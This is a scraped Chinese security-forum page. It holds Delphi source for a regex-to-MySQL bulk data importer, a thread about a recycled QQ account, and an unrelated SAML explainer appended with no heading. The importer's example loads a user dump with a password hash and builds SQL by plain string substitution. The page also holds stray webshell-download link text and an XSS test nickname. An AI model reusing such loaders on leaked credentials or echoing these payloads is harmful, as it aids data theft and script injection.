简易版DataLoader.exe(只要正则写得好,大部分数据都能导)-元旦快乐!

原理:

中国菜刀下载

软件工作的时候是这样的。

1.先加载选定的数据文本。逐行读取。

2.每行数据,用正则匹配。如果匹配成功,就开始用匹配到的内容替换软件中的SQL语句中,<match*>部分。

3.执行SQL入库。

例子:

假设我们有一个test.txt的库,内容格式大致如下:

111111 test1  222222 test2  333333 test3  444444 test4  中文测试 abc123

我们要组合成111111–test1这样的格式,导入到 sed_data 库中的test表中的info字段中。

那么我们的正则语句这样写

^(.+?) s(.+?)$

括号中间是我们要提取的内容。看不明白的朋友上面语句你可以粗浅理解为

“行首(字符串)空格(字符串)行尾”

插入语句这样写:

INSERT INTO `test`(`info`) VALUES('<match1>--<match2>');

语句里面的<match1><match2>是关键。表示正则中的匹配到的第一个括号里面的内容和第二个括号里面的内容。如果你正则有8个() 提取的内容。那么对应的也有 <match1>、<match2>、<match3>…<match8>

以此类推。match注意全部为小写。

在软件中大致如下样子【数据库信息我没填,注意别遗漏了】:

简易版DataLoader.exe(只要正则写得好,大部分数据都能导)-元旦快乐!

执行后可以看到相关数据库、表、字段正确插入了我们的数据库:

简易版DataLoader.exe(只要正则写得好,大部分数据都能导)-元旦快乐!

再举个例子

假如数据的格式如下:

VALUES   (1, '个人', 'admin', 'e10adc3949ba59abbe56e057f20f883e', 'admin', '男', 100, 0, 0, 0, '', 10006, 10, 0, '', 0, '', 1343443904, '', 1371490073, '127.0.0.1', -1)

正则大致可以这么写

 (( d*), '(.+?)', '(.+?)', '(.+?)', '(.+?)', '(.+?)'

以上语句我没有真正测试能否匹配出来。可能还需要调试,只是举个例子。如果上面语句正常的话

那么

<match1>=1  <match2>=个人  <match3>=admin  <match4>=e10adc3949ba59abbe56e057f20f883e

我们要入库它用户名到 user_info 表中的 user、pass字段中的话,SQL语句这样写

insert into `user_info`(`user`,`pass`) values('<match3>','<match4>');

如果事前对数据文件,稍作整理的话,应该用这个软件,配合正则能将很多数据入库。

源码预览:

uMain.pas

unit uMain;    interface    uses    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,    Dialogs, StdCtrls, ExtCtrls, UniProvider, MySQLUniProvider, DB, MemDS,    DBAccess, Uni,uThread,PerlRegEx;    type    TForm1 = class(TForm)      grpSetting: TGroupBox;      lblMysqlUser: TLabel;      lblMySQLPass: TLabel;      lblMySQLDB: TLabel;      lblMySQLPort: TLabel;      lblMySQLHost: TLabel;      edtMySQLUser: TEdit;      edtMySQLPass: TEdit;      edtMySQLDB: TEdit;      edtMySQLHost: TEdit;      edtMySQLPort: TEdit;      conData: TUniConnection;      SqlData: TUniQuery;      MySQLUniProvider1: TMySQLUniProvider;      pnlMain: TPanel;      lblMatch: TLabel;      edtMatch: TEdit;      mmoInsertSQL: TMemo;      lblInsertSQL: TLabel;      btnConn: TButton;      btnSelectFile: TButton;      btnProc: TButton;      dlgOpen1: TOpenDialog;      lblAuthor: TLabel;      procedure btnConnClick(Sender: TObject);      procedure btnSelectFileClick(Sender: TObject);      procedure FormCreate(Sender: TObject);      procedure FormDestroy(Sender: TObject);      procedure btnProcClick(Sender: TObject);    private      { Private declarations }    public      procedure AddData(sContent: string);    end;    var    Form1: TForm1;    sDataPath: string;    reg: TPerlRegEx;    sReg,sInertSQL: string;  implementation    {$R *.dfm}    procedure TForm1.AddData(sContent: string);  var    i: Integer;    sSQL,sMatch: string;  begin    reg.Subject := sContent;    reg.RegEx   := sReg;    if reg.Match then    begin      sSQL := sInertSQL;      for i := 1 to reg.GroupCount do      begin        sMatch := '<match'+IntToStr(i)+'>';        sSQL   := StringReplace(sSQL,sMatch,reg.Groups[i],[rfReplaceAll]);      end;      SqlData.Close;      SqlData.SQL.Clear;      SqlData.SQL.Text := sSQL;      SqlData.ExecSQL;    end;  end;    procedure TForm1.btnConnClick(Sender: TObject);  begin    if not conData.Connected then    begin      conData.ProviderName := 'MySql';      conData.Port         := StrToInt(Trim(edtMySQLPort.Text));      conData.Database     := Trim(edtMySQLDB.Text);      conData.Username     := Trim(edtMySQLUser.Text);      conData.Password     := Trim(edtMySQLPass.Text);      conData.Server       := Trim(edtMySQLHost.Text);      conData.SpecificOptions.Values['UseUnicode'] := 'True';      try        conData.Connect;      except        Exit;      end;    end;    if conData.Connected then  ShowMessage('连接成功!')    else ShowMessage('连接失败!');  end;    procedure TForm1.btnProcClick(Sender: TObject);  var    myThread: TAddData;  begin    sReg      := edtMatch.Text;    sInertSQL := mmoInsertSQL.Text;    myThread := TAddData.Create(False);  end;    procedure TForm1.btnSelectFileClick(Sender: TObject);  begin     if dlgOpen1.Execute then     begin       sDataPath := dlgOpen1.FileName;       grpSetting.Caption := '已选择:'+sDataPath;     end;  end;    procedure TForm1.FormCreate(Sender: TObject);  begin    reg := TPerlRegEx.Create;  end;    procedure TForm1.FormDestroy(Sender: TObject);  begin    reg.Free;  end;    end.

线程文件uThread.padd(仅创建一个线程,为了处理数据的时候不卡界面):

unit uThread;    interface    uses    Classes,SysUtils,Windows;    type    TAddData = class(TThread)    private      { Private declarations }    protected      procedure Execute; override;    public      constructor Create(CreateSuspended:Boolean);Overload;    end;    implementation  uses    uMain;    constructor TAddData.Create(CreateSuspended: Boolean);  begin    Inherited Create(CreateSuspended);    FreeOnTerminate := True;  end;    { AddData }    procedure TAddData.Execute;  var    sList: textfile;    iTime: LongInt;    lpline: string;  begin    with Form1 do    begin      AssignFile(sList,sDataPath);      Reset(sList);      iTime := gettickcount;      SqlData.Close;      SqlData.SQL.Clear;      SqlData.SQL.Text := 'set names utf8';      SqlData.ExecSQL;      repeat        Readln(sList,lpline);        AddData(lpline);      until eof(slist);      iTime := GetTickCount - iTime;      Caption :=  '完成了!!!'+inttostr(itime div 60000)+'m.';      CloseFile(sList);    end;  end;    end.

———————————————————————————

软件下载(仅供没有编译环境的朋友使用)

链接: 密码: qe7g

为防止被扣黑帽,捆绑什么的,建议大家用源码自己编译,安全放心。

源码版(Delphi2010,组件有UniDAC、PerlReg,自己百度)

链接: 密码: dbka

内容很简单,几行代码,随便敲敲,很多没有特别注意的地方,还望海涵,不满意的自己改。

最后不用谢,请叫我雷锋 :)

相关吐槽:

1#

Sunshie (http://phpinfo.me) | 2014-01-01 08:08

雷峰

2#

寂寞的瘦子 (’) | 2014-01-01 08:16

3#

(统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2014-01-01 10:45

方法挺不错的。

4#

点点 (http://t.qq.com/ox_diandi) | 2014-01-01 10:49

雷峰

5#

x1aoh4i (我只能送你们一句话:”乌云自有千种粒,乌云自有黄金屋,乌云自有颜如玉”) | 2014-01-01 10:50

不错

腾讯要造反了!!以后发言小心点!!小心qq号被回收!!!

腾讯要造反了!!以后发言小心点!!小心qq号被回收!!!

老夫一如既往的用着webqq,突然老夫掉线了,然后就弹出这么个鸟东西

腾讯要造反了!!以后发言小心点!!小心qq号被回收!!!

发送不良信息?老夫什么都没有发啊,就只发了个

中国菜刀下载

漏洞 到@ 的群里和猥琐流群耍耍啊~

好吧,让老夫改密码,改就改!

腾讯要造反了!!以后发言小心点!!小心qq号被回收!!!

然后老夫的qq就不存在了!!

WTF

我该说什么好?我操!腾讯要造反么?

一、普通QQ号码回收规则:

1、注册后3天未登录,号码可能被回收; —— 老夫一直在用

2、注册后24小时内登录,45天未登录,号码可能被回收; —— 老夫一直在用

3、3个月未登录,号码可能被回收。 —— 老夫一直在用

老夫一直在用!!

@xsser @H3len @doosit @WTF @网监

相关讨论:

1#

safe121 (头像是@xsser || 宝鸡巴士公司真诚欢迎来自江阴毛纺厂和江阴道路管理局及上海虹口交警支队的保持党员先进性爱国主义教育小组的领导们!下午将参观模拟开放性交互式的全新网络,在此期间各色饮品由蒙牛酸酸乳房山分销点提供!) | 2013-12-30 12:41

@H3len 胖子求解啊

2#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-12-30 12:43

QQ好微信,乌云’IM

3#

斯文的鸡蛋 (顿时我就傻逼了) | 2013-12-30 12:47

估计webqq跟客户端的接口不一样吧,然后验证这块出了问题

4#

0x0F (…………………………………………………………………………………………………………………………………………………………………………………………………………………………….) | 2013-12-30 12:48

把你的新QQ密我。

5#

苦战 | 2013-12-30 12:50

笑尿。莫名喜感~

6#

safe121 (头像是@xsser || 宝鸡巴士公司真诚欢迎来自江阴毛纺厂和江阴道路管理局及上海虹口交警支队的保持党员先进性爱国主义教育小组的领导们!下午将参观模拟开放性交互式的全新网络,在此期间各色饮品由蒙牛酸酸乳房山分销点提供!) | 2013-12-30 12:52

@斯文的鸡蛋 会不会是我一直用web登录,腾讯认为我没等录,所以给回收了。。不过不应该啊,我这个号今年6月份就注册了,而且是在我发言之后10分钟内把我号ban了。。

7#

小黑要低调 | 2013-12-30 13:32

那部门太敏感。。。。

8#

H3len | 2013-12-30 14:14

@safe121 额 让圣人给你改回来吧, 昨晚他在那台控制中心给你删了 = =

话说腾讯安全也不过如此啊 呵呵

9#

safe121 (头像是@xsser || 宝鸡巴士公司真诚欢迎来自江阴毛纺厂和江阴道路管理局及上海虹口交警支队的保持党员先进性爱国主义教育小组的领导们!下午将参观模拟开放性交互式的全新网络,在此期间各色饮品由蒙牛酸酸乳房山分销点提供!) | 2013-12-30 14:15

@H3len 已经恢复 以后别乱玩了

10#

z7y (我从前有个很好的小伙伴,他叫VIP,后来他死了。) | 2013-12-30 14:56

哈哈哈,笑尿了

11#

xsjswt | 2013-12-30 15:04

小伙子,回收你的qq是为你好,网监来查的时候我们可以说这个qq不存在。如果你非要把qq给回给你,明天查水表的时候不要感谢我。

12#

无敌L.t.H (:?门安天京北爱我?) | 2013-12-30 15:56

TX应该规定用@xxx.gov.cn的QQ必须使用具有自主知识产权的具有中国特色的TX主义QQ才能登录,以避免一小撮别有用心的人分裂集体。

13#

花生^_^ (加强学习~) | 2013-12-30 17:16

腾讯要造反了!!

14#

(统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-31 10:34

。。。。。。

15#

liyang (<script>alert(“xss”)</script>) | 2013-12-31 10:39

你的账号是亮点啊~~

揭开SAML的神秘面纱

当今,越来越多的系统通过Web服务、门户和集成化应用程序彼此链接,对于保证欲共享的信息安全交换的标准的需求也随之日益显著起来。SAML(安全性断言标记语言,Security Assertion Markup Language)提供了一个健壮且可扩展的数据格式集,在各种环境下交换数据和身份识别信息。这里的一个关键概念是身份联邦,它可满足SAML的定义,也就是说可使用独立、受管理的多个信息来源中的信息,从而实现身份严整这样的安全服务。SAML连同单点登录(SSO)共同构成现代网络环境中的必备的条件。 
身份联邦
  在大多数计算机连入网络之前,独立系统像身份验证和授权这类安全服务的实现完全是独立的。因此,执行身份验证所需的全部代码以及密钥、口令、供授权决策所用的用户信息以及授权策略本身均存放于使用这些信息的系统上。最初系统连接到网络上时,情况变化不大。每个系统都是一个孤岛,各系统都要求用户拥有一个账户才能访问该系统。
  这种方法有许多明显的缺点.举例来说,设置多个账户,每个账户有一个密码、组或其他属性,这对用户和管理员来说是非常不方便。如果一个用户的职责发生变更而修改其账户属性,或有人离开组织时删除其账户,管理员要浪费大量时间。如果出现更强大的认证方法,各系统还必须单独地去升级。 
单点登录
  随着万维网的出现,多台机器作为一个Web站点的主机成为一种普遍现象。但仅仅因为用户要使用不同的机器处理不同的请求而强迫他们多次在网络上进行登录显然是令人无法接受的。同样,门户也不能要求使用者每访问不同的应用程序就重新登录。单点登录(SSO)最初被视为一种提高生产力的奢侈品,而现在已成为一种必需品,至少在用户希望使用的是单一、集成式系统的情况下是如此。
  另外,随着互联网规模的不断增长,把一个用户的所有信息全部收集到一个地方,既不可能也不需要。不同个人和组织在与不同的对象打交道时会使用不同类型的信息,如医生掌管病历卡、经纪人知道拥有什么股票、保险代理人拥有保险规则、会计师保存财政和税款记录等等。经常性地将此信息移动到一个地点,只能使保持数据的准确性和及时更新更加困难。同时,移动信息还会增加数据在传输中丢失和被窃的可能性。
  尽管如此,为进行身份验证和授权,还是必须在网络上保留许多类型的信息。那也正是身份联邦的目的。处于授权等目的,身份联邦将来自多个数据源的同一用户数据综合在一起。不同的组织可能希望使用不同的产品去管理其身份数据,那么自然就需要制订一个在网络上传送这些数据——从数据当前所在的地方,到现在正需要数据的地方——的标准。虽然许多产品提供Web单点登录,同样需要一种标准使这种跨不同产品的传送成为可能。这就是SAML关注的领域。 
SAML基本原理
  SAML将所有与检索、传输和共享安全信息相关的功能标准化为以下形式:
·           为用户提供XML安全信息格式和请求及传输信息的格式。
·           定义这些消息与SOAP等协议协作的方式。
·           为像Web SSO这样的常见用例定义精确的消息交换。
·           支持众多种隐私保护机制,包括在不披露用户身份的情况下确定用户属性的功能。
·           详述在Unix、Microsoft Windows、X509、LDAP、DCE和XCML这些广泛应用的技术所提供的格式中处理身份信息的方法。
·           提供一种系统的元数据机制,使得所有参与其中的系统能就所支持的SAML选项进行通讯。
  此外,SAML的设计特别关注了灵活性。遇到标准尚未涵盖的需求时可扩展。 
SAML的角色、断言和语句
  一个联邦环境至少包括三个角色。
·           信任方——利用身份信息;具代表性的信任方是Service Provider,由其决定允许何种请求。
·           断言方——提供安全信息;SAML称之为“Identity Provider”。
·           主题——与身份信息相关的用户。
  任何环境下都会有许多主题和数个Service Provider。也可能存在多个Identity Provider。
  基本上,Service Provider或信任方需要了解三件事情:
·           身份信息。
·           产生请求的一方请求的用户是主题。
·           提供身份信息的Identity Provider是可信任的。
  在SAML中,断言携带信息。断言中包含头信息、主题名称和一个或多个语句。头信息包含Identity Provider的名称和像发行与有效期等其他信息。
两类最重要的语句为:
·           身份验证语句——关于该主题是一个在特定时间和地点、使用特殊的方法进行过身份验证的报告。SAML提供了超过20种不同身份验证方法的详细定义。身份验证语句支持SSO, 其中Identity Provider代表Service Provider进行登录。
·           属性语句——包含与主题有关的属性。一条属性语句中的典型属性是组和角色,除此之外还会携带财政数据或任何其它属性。
  一种断言可同时携带这两种类型的语句。也可以自行定义其他语句类型。实际上,XACML已经定义一个可传送策略的语句和一个通讯授权决策结果的语句。
  SAML的强项之一就是其灵活性。Identity Provider能对断言进行数字签名。而且它还可选择使用其它像SSL这样的方法,以确保信息的完整性。断言可以包含一个名为Subject Confirmatin的元素,Service Provider使用该元素来确定断言中的信息是否涉及提出当前请求的一方。再强调一下,SAML允许Service Provider采用多种手段实现此目的。 
绑定和配置文件
  SAML断言是从Identity Provider传送到Service Provider,但可以通过多种途径实现这一目的。。Service Provider能直接通过一个专用信道获取断言。第二种可行的选择是,请求主题能传送断言并将其提供给Service Provider。第三种选择是通过另一个节点传播断言。在Web服务环境中,SOAP的头文件可传送断言。
  SAML定义了一组XML格式的请求和应答消息,Service Provider可使用这些消息直接获取断言。请求会指定Service Provider需要的信息,例如“所有约翰·史密斯的属性”。响应返回一个或多个匹配请求的断言。为使不同的产品能够交互操作,还必须详细说明各种网络协议怎样传送请求和应答。
  SAML的SOAP绑定详细说明了怎样在SOAP消息体中传送信息。PAOS绑定是专为无法接受但可以发送网络请求的移动电话这样的设备设计的。它向后在HTTP上运行SOAP,在HTTP应答中传送消息。Browser POST 和 Artifact Profile都用于处理标准网络的操作。在POST Profile中,SAML请求在不可见的域中传送形式上为经由浏览器邮递。在Artifact Profile中,向Service Provider传递一个名为Artifact的任意位字符串,通过一条专用后备信道使用它来响应的断言。
  SAML还为支持联邦身份环境提供了其他许多有用的机制。一种协议允许Service Provider确定通过将来自几个可能的Identity Provider的特定用户请求指示到何处。另一个协议允许两个Identity Provider将他们各自拥有的同一用户账户关联在一起。例如,一个Identity Provider知道用户为John Smith,另一个Provider知道用户为 Jonathan K. Smith。(正常情况下,出于隐私方面原因,这种关联需要用户的许可。)
  也有可能使用隐私保护的、临时性的身份,避免暴露长期有效的主题身份。继续我们的示例,一个Identity Provider知道包含主题ABC123的断言表示John Smith,另一个Provider则将ABC123与Jonathan K. Smith关联在一起,但是两者都不知道对方所使用的账户名。以后将使用一个完全不同的主题防止第三方侦测使用模式。
  SAML提供一个轻量级的注销协议,通知所有Service Provider和Identity Provider一个用户已经签出。其主要目的是为了方便整理资源,而不仅仅是作为一种确保用户从系统中注销的机制。还有许多其他有用的SAML特性,其包含的功能如下:
·           全部断言,也可选择仅对其敏感部分加密。
·           指定一个断言的目标用户。
  SAML标准中还包含各种功能结合的详细一致性指标,和一个讨论安全和隐私考虑事项的文档,。
结束语
  SAML提供了一组有用的机制,可在规模庞大的环境中实现联邦身份管理。它尽可能详细地指定了绝大部分实际情况,从而提供了出色的交互性。对于独特的需求和未来可能出现的需求而言,它还是可扩展的。